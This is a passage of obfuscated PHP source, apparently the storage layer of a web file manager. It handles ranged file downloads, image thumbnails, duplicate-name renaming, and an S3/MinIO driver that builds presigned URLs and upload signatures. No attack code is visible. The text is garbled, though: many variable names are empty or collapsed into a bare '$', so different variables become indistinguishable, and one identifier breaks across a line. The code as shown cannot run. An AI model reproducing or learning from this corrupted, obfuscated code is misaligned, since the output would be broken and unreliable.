header("\x43\157\x6e\164\145\156\164\x2d\x52\141\156\x67\x65\72\x20\142\x79\164\x65\163\x20{$̧}\x2d{$}\57" . $); } else { header($݁[158]); } header($݁[159]); header($݁[160]); $ = !0; if ($_SERVER[$݁[161]] == $݁[162] && $ > 1204 * 1024 * 1024 * 2) { $ = !1; } if ($) { header($݁[163] . ($ - $̧ + 1)); } if ($_SERVER[$݁[164]] == $݁[165]) { return; } $֑͞ = array($݁[166] => !1, $݁[167] => $̧, $݁[168] => $, $݁[169] => $, $݁[170] => $, $݁[171] => $݁[12], $݁[172] => 0); $֑͞ = Hook::filter($݁[173], $֑͞); $₫ = 1024 * 300; $ = 0; if ($) { $ = intval(1000 * 1000 * ($₫ / $)); } while ($̧ <= $) { $ߌ = timeFloat(); check_abort(); $ = $ - $̧ + 1; if ($ <= $₫) { $₫ = $; } $ʹ = $this->fileSubstr($͟, $̧, $₫); if ($֑͞[$݁[166]]) { $֑͞[$݁[171]] = $ʹ; $֑͞[$݁[172]] = $̧; $֑͞ = Hook::filter($݁[174], $֑͞); $ʹ = $֑͞[$݁[171]]; } echo $ʹ; $̧ += $₫; if ($₫ == $) { $̧ = $ + 1; } if ($) { $ = intval(1000 * 1000 * (timeFloat() - $ߌ)); $ = $ - $; if ($ > 5) { usleep($); } } } } public function fileOutServer($, $έϱ = false, $ = false, $ա = '') { $this->fileOut($, $έϱ, $, $ա); } public function fileOutLink($ї) { header($_SERVER[ձК][175] . $ї); die; } public function cacheMethod($, $, $ʹ̊ = null) { $εۛ =& $_SERVER[ձК]; static $ = array(); $ = $ ? ltrim($this->getPathOuter($), $εۛ[8]) : $εۛ[12]; $ʥŅ = $εۛ[176] . $ . $εۛ[177] . rtrim($, $εۛ[8]); if (is_null($)) { $ = array(); return; } if (is_null($)) { foreach ($ as $ʥŅ => $ܛИ) { if (!strstr($ʥŅ, $εۛ[176] . $ . $εۛ[178])) { continue; } unset($[$ʥŅ]); } return; } if (!is_null($ʹ̊)) { $[$ʥŅ] = $ʹ̊; return; } $ = isset($[$ʥŅ]) ? $[$ʥŅ] : null; if (!is_null($)) { return $; } $ = $this->{$}($); $[$ʥŅ] = $; return $; } public function cacheMethodInfoSet($ږٖ, $ǝ, $ɪ = false) { $Ľ =& $_SERVER[ձК]; if ($this->listItemCache === !1) { return; } $this->cacheMethod($Ľ[179], $ږٖ, $ǝ); $this->cacheMethod($Ľ[180], $ږٖ, $ǝ ? !1 : !0); if (is_array($ɪ)) { $this->cacheMethod($Ľ[181], $ږٖ, $ɪ); } } public function fileOutImage($௬, $Հ = 250) { $쯓 =& $_SERVER[ձК]; set_timeout(); if (substr($௬, 0, 4) == $쯓[152]) { $this->fileOutLink($௬); } $ځ = $this->info($௬); $Ɠ = !1; $ = isset($GLOBALS[$쯓[182]]) ? $GLOBALS[$쯓[182]] : array(); if ($ && $[$쯓[183]] == $ځ[$쯓[87]]) { $ځ = $; $ = $ځ[$쯓[184]]; if ($ && isset($[$쯓[185]])) { if ($[$쯓[185]] <= $Հ && $[$쯓[186]] <= $Հ) { $Ɠ = !0; } } } if ($ځ[$쯓[79]] <= 1024 * 50 || $Ɠ || !function_exists($쯓[187]) || $ځ[$쯓[169]] == $쯓[188]) { return $this->fileOut($௬, !1, $ځ[$쯓[32]]); } $ = kodIO::hashPath($ځ); $Й = "\x63\x6f\166\145\x72\x5f{$}\137{$Հ}\x2e\x70\156\x67"; $ = IO_PATH_SYSTEM_TEMP . $쯓[189]; $ӳ = IO::infoFullSimple($); $ = $ӳ && is_array($ӳ) ? $ӳ[$쯓[87]] : $쯓[12]; if (!$) { $ = IO::mkdir($); } if ($ځ[$쯓[190]] == $쯓[191] && isset($ځ[$쯓[192]]) && $ځ[$쯓[192]] == kodIO::sourceID($)) { $ӌ = $ځ[$쯓[193]]; if ($Հ <= 500) { $ = preg_replace($쯓[194], $쯓[195], $ځ[$쯓[32]]); $ӌ = IO::fileNameExist($, $); } return IO::fileOut(KodIO::make($ӌ), !1, $ځ[$쯓[32]]); } $ = IO::fileNameExist($, $Й); if ($) { return IO::fileOut(KodIO::make($), !1, $ځ[$쯓[32]]); } if ($Հ > 1000) { $this->makeImageCover($, $௬, $Й, $Հ); $this->makeImageCover($, $௬, "\x63\x6f\x76\145\162\x5f{$}\x5f\x32\x35\x30\x2e\160\x6e\147", 250); $ = IO::fileNameExist($, $Й); if ($) { return IO::fileOut(KodIO::make($), !1, $ځ[$쯓[32]]); } die; } if (!kodIO::allowCover($ځ)) { return $this->fileOut($௬, !1, $ځ[$쯓[32]]); } $ = Cache::get($Й); if ($ == $쯓[196] || $ == $쯓[197]) { echo $; die; } Cache::set($Й, $쯓[197], 60); $˗ = array($, $ځ[$쯓[87]], $Й, $Հ); $͊ = $쯓[198] . $ځ[$쯓[79]] . $쯓[199] . $Й . $쯓[200] . $ځ[$쯓[32]] . $쯓[201] . $ځ[$쯓[87]]; TaskQueue::add($쯓[202], $˗, $͊, $Й); } public function makeImageCover($, $, $܇, $뾸) { $陰 =& $_SERVER[ձК]; if (IO::fileNameExist($, $܇)) { return $陰[203]; } if (!is_dir(DATA_THUMB)) { mk_dir(DATA_THUMB); } if (!is_dir(TEMP_FILES)) { mk_dir(TEMP_FILES); } $ߙ = DATA_THUMB . $܇; del_file($ߙ); $Μ = IO::copy($, TEMP_FILES, !1, $܇); if (!@file_exists($Μ)) { return $陰[204]; } ImageThumb::createThumb($Μ, $ߙ, $뾸, $뾸 * 10); if (@file_exists($ߙ)) { Cache::remove($܇); return IO::move($ߙ, $); } Cache::set($܇, $陰[196], 600); del_file($ߙ); return $陰[205] . $Μ . $陰[74]; } public function fileOutImageServer($ݲ, $˚ = 250) { $this->fileOutImage($ݲ, $˚); } public function fileNameAuto($Ǩ, $ျ寕, $ = REPEAT_RENAME, $ = false) { $ؒ۞ =& $_SERVER[ձК]; $ = $Ǩ === $ؒ۞[12] ? $ျ寕 : rtrim($Ǩ, $ؒ۞[8]) . $ؒ۞[8] . $ျ寕; if ($ == REPEAT_REPLACE || !$this->exist($) || $ && $ != REPEAT_RENAME_FOLDER) { return $ျ寕; } if ($ == REPEAT_SKIP) { return !1; } $륖խ = $ؒ۞[10] . get_path_ext($ျ寕); $륖խ = $륖խ == $ؒ۞[10] || $ ? $ؒ۞[12] : $륖խ; $ = 1; $ = substr($ျ寕, 0, strlen($ျ寕) - strlen($륖խ)); $ = $ . "\x28{$}\51{$륖խ}"; while ($this->exist(rtrim($Ǩ, $ؒ۞[8]) . $ؒ۞[8] . $)) { $ = $ . "\50{$}\51{$륖խ}"; $++; } return $; } private function fileNameAutoList($, $ˠ, $ٳ = false) { $ =& $_SERVER[ձК]; $ = $this->listPath($, !0); $ = array_merge($[$[85]], $[$[86]]); $ = array_to_keyvalue($, $[12], $[32]); $ = $[10] . get_path_ext($ˠ); $ = $ == $[10] || $ٳ ? $[12] : $; $ = substr($ˠ, 0, strlen($ˠ) - strlen($)); $笞 = $ . "\50\x30\51{$}"; for ($ = 1; $ <= count($) + 1; $++) { $笞 = $ . "\x28{$}\51{$}"; if (!in_array_not_case($笞, $)) { return $笞; } } return $笞; } public function listAllFiles($Ü, $ی) { $ =& $_SERVER[ձК]; if (empty($ی)) { return array(); } $ӳʫ = array_keys($ی); $ = array(); $Ü = trim($Ü, $[8]); foreach ($ی as $ᔇ => $) { $ͤ = ltrim(substr(trim($ᔇ, $[8]), strlen($Ü)), $[8]); if (substr($ᔇ, -1) == $[8]) { $ͤ = rtrim($ͤ, $[8]) . $[8]; } $ = array_merge($, $this->slicePath($ͤ)); } $駽 = array(); foreach (array_unique($) as $) { $ĻՆ = array($[87] => $this->getPathOuter($[8] . $Ü . $[8] . $), $[78] => 1, $[79] => 0); if (substr($, -1) != $[8]) { $ĻՆ[$[78]] = 0; $ = $this->getPath($Ü . $[8] . $); if (isset($ی[$])) { $뽗 = $ی[$]; if (isset($뽗[$[79]])) { $ĻՆ[$[79]] = intval($뽗[$[79]]); } if (isset($뽗[$[206]])) { $ĻՆ[$[88]] = intval($뽗[$[206]]); } } } $駽[] = $ĻՆ; } return $駽; } public function slicePath($) { $ =& $_SERVER[ձК]; $Ƴ = explode($[8], trim($, $[8])); $ = 0; do { ++$; $Ӛ[] = implode($[8], array_slice($Ƴ, 0, $)) . $[8]; } while ($ < count($Ƴ)); $Ӛ[count($Ƴ) - 1] = $; return $Ӛ; } public function getHost() { $ =& $_SERVER[ձК]; $ = parse_url(trim($this->domain, $[8])); $ = isset($[$[207]]) ? $[$[207]] : http_type(); $ = isset($[$[208]]) ? $[$[208]] : $[$[87]]; if (isset($[$[209]])) { $ .= $[4] . $[$[209]]; } return $ . $[210] . $; } public function pathEncode($) { $ =& $_SERVER[ձК]; return str_replace($[211], $[8], rawurlencode($)); } public function writeLog($ؔ = '', $Յ = false) { $փ =& $_SERVER[ձК]; $ = in_array(ACTION, array($փ[212], $փ[213])); if (!$ && !GLOBAL_DEBUG) { return; } $ܦ = $ؔ; static $ = null; if (!$) { $ = strtoupper($this->getType()); } $ؔ = $ . $փ[214] . $ؔ; if ($Յ) { $ʦ = error_get_last(); if ($ʦ) { $ؔ = array($ؔ, $ʦ); } } write_log($ؔ, $փ[215]); if ($) { throw new Exception($ܦ); } } } class PathDriverBaseS3 extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $useSSL = false; protected $region = ''; protected $endpoint = ''; protected $bucket = ''; protected $client = null; protected $signVer = "\x76\x34"; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($ҷ) { set_timeout(); require_once SDK_DIR . $_SERVER[ձК][216]; parent::__construct(); $this->_init($ҷ); } public function _init($ƒ) { $ƻ =& $_SERVER[ձК]; $this->config = $ƒ; foreach ($ƒ as $ => $ʇ) { if (isset($this->{$})) { $this->{$} = $ʇ; } } $this->endpoint = $ƒ[$ƻ[217]]; $this->client = new S3($this->accessKey, $this->secret, $this->useSSL, $this->endpoint, $this->region); $Ѧ = $this->getHost(); if (!get_url_scheme($this->endpoint) && substr($Ѧ, 0, 7) == $ƻ[218]) { $Ѧ = $ƻ[219] . substr($Ѧ, 7); } $this->client->setEndpoint($Ѧ); if (in_array(ACTION, array($ƻ[212], $ƻ[213]))) { $this->client->setExceptions(); } } public function setSignVersion($ = "\166\64") { $this->signVer = $; $this->client->setSignVersion($); } public function setBucketCors() { return $this->client->setBucketCors($this->bucket); } public function getBucketCors() { try { return $this->client->getBucketCors($this->bucket); } catch (Exception $) { return null; } } public function isBucketCors() { $ =& $_SERVER[ձК]; $ = $this->getBucketCors(); if (!$ || !is_array($)) { return !1; } if (!is_array($[$[220]])) { $[$[220]] = explode($[50], $[$[220]]); } if ($[$[221]] != $[222] || !in_array($[222], $[$[220]])) { return !1; } $ꃅ = array_map($[223], $[$[224]]); if (!is_array($ꃅ)) { $ꃅ = array(); } $؛ = array($[225], $[226], $[227], $[228], $[229]); $쿏 = array_diff($؛, $ꃅ); return empty($쿏); } public function getBktRegion() { return $this->client->getBucketRegion($this->bucket); } public function mkfile($, $ = '', $ו = REPEAT_RENAME) { $ = $this->setContent($, $); if ($ !== !1) { return $this->getPathOuter($); } return !1; } public function mkdir($, $Ϟ = REPEAT_SKIP) { $ =& $_SERVER[ձК]; if (empty($) && $ !== $[230]) { return !1; } if ($Ϟ && $this->_isFolder($)) { return $this->getPathOuter($); } $ = $this->setContent($, $[12], !0); if ($ !== !1) { return $this->getPathOuter($); } return !1; } public function copyFile($Ǖ, $ӯɩ, $ = array()) { $ =& $_SERVER[ձК]; $ = $this->objectMeta($Ǖ); if (!$) { return !1; } if ($[$[79]] <= 1024 * 1024 * 200) { $ѣ = $this->client->copyObject($this->bucket, $Ǖ, $this->bucket, $ӯɩ, $[231], $); } else { $ѣ = $this->client->multiCopyObject($this->bucket, $Ǖ, $this->bucket, $ӯɩ, $); } $ѣ = $ѣ ? $this->getPathOuter($ӯɩ) : !1; return $ѣ; } public function moveFile($, $) { if ($this->copyFile($, $)) { $this->delFile($); return $this->getPathOuter($); } return !1; } public function delFile($) { return $this->client->deleteObject($this->bucket, $); } public function delFolder($) { $ȥ̧ɵ =& $_SERVER[ձК]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($); $this->listItemCache = !0; $ңۈ = trim($, $ȥ̧ɵ[8]) . $ȥ̧ɵ[8]; if (!empty($) && $ !== $ȥ̧ɵ[230] && !in_array($ңۈ, $[$ȥ̧ɵ[85]])) { $[$ȥ̧ɵ[85]][] = $ңۈ; } $ = $this->delByBatch($[$ȥ̧ɵ[86]]); if (!$) { return !1; } $ = $this->delByBatch($[$ȥ̧ɵ[85]]); if (!$) { return !1; } return $this->delFile($ңۈ); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { $ = $this->client->deleteObjects($this->bucket, $); if (!$) { return !1; } } return !0; } public function rename($Ƈ, $츱) { return $this->renameObject($Ƈ, $츱); } public function listPath($ۄ, $ = false) { $ =& $_SERVER[ձК]; $ = $this->fileList($ۄ, $[8], !0); foreach ($[$[85]] as $ޚ => $) { $[$[85]][$ޚ] = $this->folderInfo($, $, $); } foreach ($[$[86]] as $ޚ => $) { $[$[86]][$ޚ] = $this->fileInfo($[$[32]], $, $); } return $; } protected function infoChildren($轍, &$Ϲ) { $ =& $_SERVER[ձК]; $ۀƯ = $this->fileList($轍, $[12], !0); $Ϲ[$[81]] += count($ۀƯ[$[85]]); $Ϲ[$[80]] += count($ۀƯ[$[86]]); foreach ($ۀƯ[$[86]] as $) { if (!$ || !$[$[79]]) { continue; } $Ϲ[$[79]] += $[$[79]]; } } private function fileInfo($ω, $ҽ = false, $ = array()) { $ձ =& $_SERVER[ձК]; $ = array($ձ[32] => $this->pathThis($ω), $ձ[87] => $this->getPathOuter($ω), $ձ[33] => $ձ[232], $ձ[169] => $this->ext($ω), $ձ[79] => isset($[$ձ[79]]) ? $[$ձ[79]] : 0); if ($ҽ) { return $; } $[$ձ[233]] = $[$ձ[88]] = 0; $[$ձ[234]] = $[$ձ[235]] = !0; if (empty($)) { $ = $this->objectMeta($ω); if (!$) { return $; } } if (isset($[$ձ[236]]) && $[$ձ[236]]) { $[$ձ[237]] = $[$ձ[236]]; } if (isset($[$ձ[206]])) { $[$ձ[88]] = $[$ձ[206]]; } if (isset($[$ձ[79]])) { $[$ձ[79]] = $[$ձ[79]]; } return $; } private function folderInfo($, $ = false, $˝ٓ = array()) { $ =& $_SERVER[ձК]; $ = array($[32] => $this->pathThis($), $[87] => $this->getPathOuter($[8] . $), $[33] => $[78]); if ($) { return $; } $[$[233]] = $[$[88]] = 0; $[$[234]] = $[$[235]] = !0; if ($ == $[12]) { return $; } if (empty($˝ٓ)) { $˝ٓ = $this->objectMeta(trim($, $[8]) . $[8]); } if (isset($˝ٓ[$[206]])) { $[$[233]] = $˝ٓ[$[206]]; } return $; } private function fileList($鑬, $ = '', $ = 0) { $ޚ =& $_SERVER[ձК]; $ = rtrim($鑬, $ޚ[8]) . $ޚ[8]; $̎ = $this->listObjs($, null, null, $); if (!$̎) { return array($ޚ[85] => array(), $ޚ[86] => array()); } $樴 = $Ϫ = array(); foreach ($̎[$ޚ[238]] as $і) { $Ķ = $і[$ޚ[32]]; if ($Ķ == $) { continue; } $ = isset($і[$ޚ[79]]) ? $і[$ޚ[79]] : 0; $ = $ == 0 && substr($Ķ, strlen($Ķ) - 1, 1) == $ޚ[8] ? !0 : !1; $this->cacheMethodInfoSet($Ķ, $, $і); if ($) { $樴[] = $Ķ; continue; } $Ϫ[] = $ ? $і : $Ķ; } foreach ($̎[$ޚ[239]] as $і) { $樴[] = $і[$ޚ[32]]; $this->cacheMethodInfoSet($і[$ޚ[32]], !0); } $this->cacheMethodInfoSet($鑬, !0); return array($ޚ[85] => $樴, $ޚ[86] => $Ϫ); } private function listObjs($֪, $묬 = null, $ֆހ = null, $ = null) { $ =& $_SERVER[ձК]; $֪ = trim($֪, $[8]); $Ъ = empty($֪) && $֪ !== $[230] ? $[12] : $֪ . $[8]; return $this->client->getBucket($this->bucket, $Ъ, $묬, $ֆހ, $, !0); } public function has($ɹ, $π = false, $짴 = true) { $ñ =& $_SERVER[ձК]; $ɹ = trim($ɹ, $ñ[8]); $ͪ = empty($ɹ) && $ɹ !== $ñ[230] ? $ñ[12] : $ɹ . $ñ[8]; $Մ = null; $ = 500; $ϊ = $ñ[8]; $ = $ = array(); while (!0) { $ = $this->listObjs($ɹ, $Մ, $, $ϊ); if (!$) { break; } $Մ = $[$ñ[240]]; $ = $[$ñ[238]]; $Ģ = $[$ñ[239]]; if (empty($) && empty($Ģ)) { break; } if (count($) == 1 && $[0][$ñ[32]] == $ͪ) { break; } if ($π) { if (count($)) { $ = array_column($, $ñ[32]); $ = array_merge($, $); } if (count($Ģ)) { $Ģ = array_column($Ģ, $ñ[32]); $ = array_merge($, $Ģ); } if ($Մ === null) { break; } continue; } if ($짴) { if (!empty($)) { if (count($) > 1 || isset($[0][$ñ[32]]) && $[0][$ñ[32]] != $ͪ) { return !0; } } } else { if (!empty($Ģ)) { return !0; } } if ($Մ === null) { break; } } if ($π) { $ = array_diff($, array($ͪ)); $ = count(array_unique($)); $ = count(array_unique($)); return array($ñ[241] => $, $ñ[242] => $); } return !1; } public function listAll($) { $ =& $_SERVER[ձК]; $菕 = $this->fileList($, $[12], !0); $ = array_to_keyvalue($菕[$[86]], $[32]); foreach ($菕[$[85]] as $Ҫ) { if (is_string($Ҫ)) { $[$Ҫ] = array($[79] => 0); } } return $this->listAllFiles($, $); } public function canRead($) { $ =& $_SERVER[ձК]; $ = $this->client->getAccessControlPolicy($this->bucket, $); if (!$) { return !1; } return in_array($, array($[243], $[244], $[245])) ? !0 : !1; } public function canWrite($괿) { $ =& $_SERVER[ձК]; $ʊ = $this->client->getAccessControlPolicy($this->bucket, $괿); if (!$ʊ) { return !1; } return in_array($ʊ, array($[243], $[244])) ? !0 : !1; } public function getContent($ο) { return $this->client->getObject($this->bucket, $ο); } public function setContent($γ, $Ɖ = '', $́ = false) { $ =& $_SERVER[ձК]; $γ = $́ ? trim($γ, $[8]) . $[8] : $γ; $ = get_file_mime(get_path_ext($γ)); $և = $this->client->putObject($Ɖ, $this->bucket, $γ, $[231], array(), $); if (!$և) { return !1; } if ($́) { return !0; } return $և ? !0 : !1; } public function fileSubstr($ù, $, $ɕ) { $ = $ + $ɕ - 1; return $this->client->getObject($this->bucket, $ù, array($_SERVER[ձК][246] => "\x62\171\x74\145\x73\x3d{$}\55{$}")); } public function upload($ۢ, $ȋܾ, $ = false, $؍ = REPEAT_REPLACE) { $ޙ߁ =& $_SERVER[ձК]; $ = array($ޙ߁[247] => @md5_file($ȋܾ)); $ = array($ޙ߁[248] => get_file_mime(get_path_ext($ۢ))); if (IO::size($ȋܾ) <= 1024 * 1024 * 200) { $ʅ = $this->client->putObjectFile($ȋܾ, $this->bucket, $ۢ, $ޙ߁[231], $, $); return !empty($ʅ) ? $this->getPathOuter($ۢ) : !1; } $寔ʔ = $this->client->multiUploadObject($ȋܾ, $this->bucket, trim($ۢ, $ޙ߁[8]), $, $); return $寔ʔ ? $this->getPathOuter($ۢ) : !1; } public function download($ޝ, $) { if (!@is_dir($this->pathFather($)) && !IO::mkdir($this->pathFather($))) { return !1; } $ղ = $this->client->getObject($this->bucket, $ޝ, array(), $); return $ղ !== !1 ? $ : !1; } public function link($ϵ, $ = array()) { return $this->getPreSignedURL($ϵ, 3600 * 12, $); } private function getPreSignedURL($
, $, $ = array(), $⮠ = "\107\x45\124") { $ =& $_SERVER[ձК]; $
= trim($
, $[8]); if ($this->signVer == $[249]) { return $this->client->getPreSignedV2URL($this->bucket, $
, $, $⮠, $); } return $this->client->getPreSignedV4URL($this->bucket, $
, $, array(), $⮠, $); } public function fileOut($ۡ, $ = false, $ס = false, $ = '') { $± =& $_SERVER[ձК]; if ($this->isFileOutServer()) { return $this->fileOutServer($ۡ, $, $ס, $); } if (!$ס) { $ס = $this->pathThis($ۡ); } $ = get_file_mime(get_path_ext($ס)); if ($ == $±[250]) { return parent::fileOut($ۡ, $, $ס, $); } $ = array($±[251] => $); if ($) { $[$±[252]] = $±[253] . rawurlencode($ס); } else { } $Ӵģ = $this->link($ۡ, $); $this->fileOutLink($Ӵģ); } public function fileOutServer($̇, $힁 = false, $މ = false, $Ì = '') { parent::fileOut($̇, $힁, $މ, $Ì); } public function fileOutImageServer($퀝Ɍ, $ = 250) { parent::fileOutImage($퀝Ɍ, $); } public function hashMd5($, $ֲ = '') { $簑Ҳ = $this->objectMeta($); if (!$簑Ҳ) { return !1; } $ֲ = $ֲ ? $ֲ : _get($簑Ҳ, $_SERVER[ձК][254]); return $ֲ; } public function uploadFormData($Őܦ, $Ƞ = 3600) { $ =& $_SERVER[ձК]; if (!$this->_isClientAsync()) { $ݗ = $this->getPreSignedURL($Őܦ, $Ƞ, array(), $[255]); return array($[208] => str_replace($[218], $[256], $ݗ)); } if (isset($GLOBALS[$[6]][$[92]][$[257]]) && $GLOBALS[$[6]][$[92]][$[257]] == $[230]) { return $this->uploadMultiData($Őܦ, $Ƞ); } if ($this->signVer == $[249]) { return $this->uploadFormDataV2($Őܦ, $Ƞ); } return $this->uploadFormDataV4($Őܦ, $Ƞ); } public function uploadFormDataV2($̱, $ = 3600) { $Ζ =& $_SERVER[ձК]; $ = $this->pathFather($̱); $ = $this->client->getHttpUploadPostParams($this->bucket, $, $Ζ[231], $); $˵ə = array_merge((array) $, array($Ζ[258] => $Ζ[249], $Ζ[208] => $this->getHost())); if ($this->_isClientAsync()) { unset($˵ə[$Ζ[258]]); } return $˵ə; } public function uploadFormDataV4($Ĝ, $ = 3600) { $ =& $_SERVER[ձК]; $ = $[231]; $˯ = $[259]; $ = $[62]; $ = gmdate($[260]); $ = gmdate($[261]); $휏 = $[262]; $ = $ . $[12]; $ = $[263]; $ = array($this->accessKey, $, $this->region, $, $휏); $ = implode($[8], $); $ñ羍 = array($[264] => gmdate($[265], strtotime($[266])), $[267] => array(array($[268] => $this->bucket), array($[269], $[270], $[12]), array($[269], $[271], $[12]), array($[272] => $), array($[273] => $), array($[274] => $˯), array($[275] => $), array($[276] => $))); $ = base64_encode(json_encode($ñ羍)); $ = hash_hmac($[277], $, $[278] . $this->secret, !0); $ = hash_hmac($[277], $this->region, $, !0); $Ɉ = hash_hmac($[277], $, $, !0); $ = hash_hmac($[277], $휏, $Ɉ, !0); $ = hash_hmac($[277], $, $); $ʣ = array($[248] => $[12], $[272] => $, $[279] => $, $[273] => $, $[274] => $˯, $[275] => $, $[276] => $, $[280] => $, $[258] => $[249], $[208] => $this->getHost()); if ($this->_isClientAsync()) { unset($ʣ[$[258]]); } return $ʣ; } public function uploadMultiData($, $ç = 3600) { $쯊 =& $_SERVER[ձК]; $ȓ = $this->signVer == $쯊[249] ? gmdate($쯊[281]) : gmdate($쯊[282]); $ڏӱܟ = array(); $ = $this->client->getUploadId($this->bucket, $, $ڏӱܟ); if (!$) { return !1; } $减 = array($쯊[283] => $, $쯊[208] => $this->getHost() . $쯊[8] . $this->pathEncode($), $쯊[284] => $ȓ, $쯊[97] => $, $쯊[258] => $this->signVer); if ($this->_isClientAsync()) { unset($减[$쯊[258]]); } return $减; } public function uploadMultiAuth($ݬ, $ޫ = array()) { $ =& $_SERVER[ձК]; if ($this->signVer == $[249]) { if (isset($ޫ[$[285]])) { return $this->uploadPartAuthV2($ݬ, $ޫ); } return $this->uploadListAuthV2($ݬ, $ޫ); } if (isset($ޫ[$[285]])) { return $this->uploadPartAuthV4($ݬ, $ޫ); } return $this->uploadListAuthV4($ݬ, $ޫ); } public function uploadPartAuthV2($ܭǝ, $ = array()) { $ش =& $_SERVER[ձК]; $ = $[$ش[97]]; $ = gmdate($ش[281]); $ = array_intersect_key($, array_flip(array($ش[285], $ش[283]))); ksort($); $̬͗ = $ ? $ش[76] . http_build_query($, null, $ش[286], PHP_QUERY_RFC3986) : $ش[12]; $ݩ = array($ش[255], $ش[12], $ش[123], $ش[12], "\170\55\x61\155\172\x2d\144\141\164\x65\72{$}", $ش[8] . $this->bucket . $ش[8] . $this->pathEncode($) . $̬͗); $ = implode($ش[287], $ݩ); $ = $this->client->__getSignature($); return array($ش[288] => $, $ش[284] => $); } public function uploadListAuthV2($, $ = array()) { $̞ =& $_SERVER[ձК]; $ɞ = $[$̞[97]]; $ = $[$̞[283]]; $ = $this->client->listParts($this->bucket, $ɞ, $); if (!$) { return !1; } $؟ = gmdate($̞[281]); $؎ = $̞[289] . $; $ש = array($̞[290], $̞[12], $̞[123], $̞[12], "\x78\55\141\x6d\172\x2d\144\141\164\145\x3a{$؟}", $̞[8] . $this->bucket . $̞[8] . $this->pathEncode($ɞ) . $؎); $ = implode($̞[287], $ש); $ۂ = $this->client->__getSignature($); return array($̞[288] => $ۂ, $̞[284] => $؟, $̞[291] => $); } public function uploadPartAuthV4($ė, $ = array()) { $ƛ =& $_SERVER[ձК]; $텿Ԍ = $[$ƛ[97]]; $궂 = array($ƛ[275] => gmdate($ƛ[282]), $ƛ[292] => _get($, $ƛ[293], hash($ƛ[277], $ƛ[12]))); $߄ = explode($ƛ[210], $this->getHost()); $ = array($ƛ[294] => $߄[1], $ƛ[295] => $ƛ[12], $ƛ[248] => $ƛ[123], $ƛ[296] => $[$ƛ[79]]); $鬧 = $ƛ[255]; $ޛ = $ƛ[8] . $this->pathEncode($텿Ԍ); $ = array_intersect_key($, array_flip(array($ƛ[285], $ƛ[283]))); $ѱ = $this->client->__getSignatureV4($궂, $, $鬧, $ޛ, $); return array($ƛ[288] => $ѱ, $ƛ[292] => $궂[$ƛ[292]], $ƛ[284] => $궂[$ƛ[275]]); } public function uploadListAuthV4($, $ς = array()) { $ =& $_SERVER[ձК]; $ = $ς[$[97]]; $ = $ς[$[283]]; $ܾú = $this->client->listParts($this->bucket, $, $); if (!$ܾú) { return !1; } $ = $[297]; foreach ($ܾú as $) { $ .= $[298] . "\x3c\x50\x61\162\x74\x4e\x75\155\x62\x65\162\x3e{$[$[299]]}\74\57\120\141\162\x74\116\165\x6d\142\x65\162\x3e\12" . "\x3c\105\x54\141\147\76{$[$[300]]}\x3c\x2f\x45\x54\x61\x67\x3e\xa" . $[301]; } $ .= $[302]; $ = array($[275] => gmdate($[282]), $[292] => hash($[277], $)); $ė = explode($[210], $this->getHost()); $ = array($[294] => $ė[1], $[248] => $[123], $[296] => strlen($)); $Ԋ = $[290]; $ = $[8] . $this->pathEncode($); $Ռ = array($[283] => $); $ = $this->client->__getSignatureV4($, $, $Ԋ, $, $Ռ); return array($[288] => $, $[292] => $[$[292]], $[284] => $[$[275]], $[291] => $ܾú); } private function _isClientAsync() { $Ч =& $_SERVER[ձК]; static $ = null; if ($ === null) { $Ǥ = isset($_REQUEST[$Ч[303]]) ? json_decode($_REQUEST[$Ч[303]], !0) : !1; $ = $Ǥ && _get($Ǥ, $Ч[304]) == $Ч[305]; } return $; } public function getHost() { $ǿš =& $_SERVER[ձК]; $ = parent::getHost(); if (!isset($this->osType)) { $this->osType = $this->getType(); } if (!in_array($this->osType, array($ǿš[70], $ǿš[64], $ǿš[69], $ǿš[62]))) { return $ . $ǿš[8] . $this->bucket; } if ($this->osType == $ǿš[62] && !is_domain($)) { return $ . $ǿš[8] . $this->bucket; } $ = explode($ǿš[210], $); return $[0] . $ǿš[210] . $this->bucket . $ǿš[10] . $[1]; } public function size($) { $ů = $this->objectMeta($); return $ů ? $ů[$_SERVER[ձК][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[ձК][179], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[ձК][181], $); } protected function _objectMeta($) { $Œ =& $_SERVER[ձК]; $ = rtrim($, $Œ[8]); try { $і = $this->client->getObjectInfo($this->bucket, $); if (!isset($і[$Œ[254]]) && isset($і[$Œ[306]])) { $і[$Œ[254]] = $і[$Œ[306]]; } } catch (Exception $) { $і = !1; } if (!$і) { } return $і; } protected function _isFolder($쓆) { $ =& $_SERVER[ձК]; $쓆 = rtrim($쓆, $[8]) . $[8]; if ($쓆 == $[12] || $쓆 == $[8]) { return !0; } $օ = $this->client->getBucket($this->bucket, $쓆, null, 1); if (empty($օ[$[238]])) { return !1; } $⧱ = $օ[$[238]][0][$[32]]; return stripos($⧱, $쓆) === 0 ? !0 : !1; if (substr($⧱, -1) == $[8]) { return !0; } if (get_path_this($⧱) == get_path_this($쓆)) { return !1; } return !0; } public function listObject($) { return $this->fileList($, $_SERVER[ձК][12], !0); } } class PathDriverMinIO extends PathDriverBaseS3 { public function __construct($备) { $ =& $_SERVER[ձК]; parent::__construct($备); $this->setSignVersion($[249]); if (!$this->region) { $this->region = $[307]; $this->client->setRegion($this->region); } $this->client->setHeadValid(!1); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function checkRegion() { $ے = $this->getBktRegion(); return $this->region == $ے ? !0 : !1; } public function uploadFormData($ŭ, $ = 3600) { $އ =& $_SERVER[ձК]; $ = $އ[231]; $퉱 = $އ[259]; $Լ = $އ[62]; $ʢ = gmdate($އ[260]); $猫 = gmdate($އ[261]); $˘Ͻ = $އ[262]; $ = $ . $އ[12]; $թ = $އ[263]; $٣ = array($this->accessKey, $猫, $this->region, $Լ, $˘Ͻ); $ǫ = implode($އ[8], $٣); $ = array($އ[264] => gmdate($އ[265], strtotime($އ[266])), $އ[267] => array(array($އ[268] => $this->bucket), array($އ[308] => $), array($އ[269], $އ[270], 